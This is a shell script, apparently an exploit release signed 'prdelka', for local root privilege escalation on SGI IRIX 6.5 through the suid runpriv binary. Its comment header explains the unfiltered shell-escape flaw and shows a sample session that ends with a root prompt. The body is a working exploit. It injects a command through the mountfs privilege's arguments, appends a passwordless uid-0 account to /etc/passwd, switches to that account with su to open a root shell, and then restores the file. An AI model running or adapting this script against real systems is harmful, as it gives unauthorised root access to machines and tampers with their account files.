#!/bin/sh
# SGI IRIX 6.5 /usr/sysadm/bin/runpriv local root exploit
# =======================================================
# 'runpriv' checks to see if you have been granted privilege, 
# and if so it runs the command privilege found in the 
# directory /usr/sysadm/privbin with the remaining arguments.
#
# 'runpriv' is a suid root binary in a default installation
# of IRIX 6.5, runpriv does not filter shell escape sequences
# before passing them as arguements to privileges and allows
# for the executing of arbitrary commands as root by authorised
# users. This exploit assumes the user has the mountfs privilege
# which can be enabled by root with the following command.
#
# "/usr/sysadm/bin/addpriv user mountfs"
#
# Example.
#  -bash-2.05b$ id
#  uid=16071(user) gid=20(user)
#  -bash-2.05b$ uname -a
#  IRIX64 IRIS 6.5 04101931 IP30
#  -bash-2.05b$ ./xrunpriv.sh
#  [ SGI IRIX 6.5 /usr/sysadm/bin/runpriv local root exploit
#  [ Creating cleanup and shell scripts
#  [ game over
#  # id
#  uid=0(root) gid=0(sys)
#
# - prdelka
echo [ SGI IRIX 6.5 /usr/sysadm/bin/runpriv local root exploit
echo [ Creating cleanup and shell scripts
rm -rf /tmp/passwd123
rm -rf /tmp/rootcmd.sh
cp /etc/passwd /tmp/passwd123
echo "#!/bin/sh" >> /tmp/rootcmd.sh
echo "mv /tmp/passwd123 /etc/passwd" >> /tmp/rootcmd.sh
echo "chmod 644 /etc/passwd" >> /tmp/rootcmd.sh
echo "chown root:sys /etc/passwd" >> /tmp/rootcmd.sh
echo "rm -rf /tmp/rootcmd.sh" >> /tmp/rootcmd.sh
echo "/bin/sh" >> /tmp/rootcmd.sh
chmod +x /tmp/rootcmd.sh
/usr/sysadm/bin/runpriv mountfs -s test -d / -o \|"ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh >> /etc/passwd'"
echo [ game over
su r00t -c /tmp/rootcmd.sh
rm -rf /tmp/passwd123
rm -rf /tmp/rootcmd.sh
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